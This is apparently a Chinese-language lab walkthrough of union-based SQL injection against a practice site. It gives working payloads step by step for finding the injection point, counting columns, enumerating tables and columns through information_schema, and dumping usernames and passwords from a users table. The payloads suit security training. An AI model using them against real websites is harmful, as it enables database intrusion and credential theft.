首先開啟網頁,進行注入點的測試 輸入?id=1 and 1=1發現1=2的時候沒有進行報錯,有兩種可能,一種是不能注入,第二種是字元型可以通過對字元型裡面的''進行閉合,輸入'and 1=1--+發現在1=2的情況下出現了報錯,說明還是可以進行注入的,
然後輸入'order by()--+來拆解一下有多少個顯示欄位,輸入4發現沒有回顯,修改為3發現有回顯,說明有三個回顯欄位
然後輸入'union select 1,2,3--+ 因為有三個顯示欄位,所以查詢一下顯示位,因為我們要顯示我們輸入的1,2,3.所以要把伺服器想要顯示的讓他報錯將id=1修改為-1,發現只有2和3,有回顯
知道2和3可以回顯之後就可以進行下一步,在2或者3的位置進行資訊收集,首先進行他的資料庫版本和資料庫名字進行收集得到
'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
查詢到表名有 emails,referers,uagents,users
查詢完表名之後就要去查詢他的列名,一共有四個表名,所以我們就要去挨個查詢,去得到他的敏感資訊,因為要查詢列名,所以就要把查詢的表名切換為列名,然後來自於表名下所有的列,,這些來自於表名所以後面有要改搜尋到的表名,一共有四個表名,就要去挨個去搜尋,
'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails'--+
得到的列名總共有 id,email_id id,referer,ip_address id,uagent,ip_address,username
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password
發現裡面有,username,password意思是賬號密碼的意思,可以在這兩個列裡面查詢裡面的資訊,因為不知道有多少密碼可以嘗試用group_concat()來全部輸出看一下
union select 1,group_concat(username),group_concat(password) from users
聯合查詢,全部輸出(username),全部輸出(password) 來自於users
因為username,password是在users 這個表裡面查詢出來的,就要去這個表裡面去查詢
得到賬號Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4,admin5
密碼Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4,admin5
##本文為原創文章,轉載請附上原文出處連結及本宣告。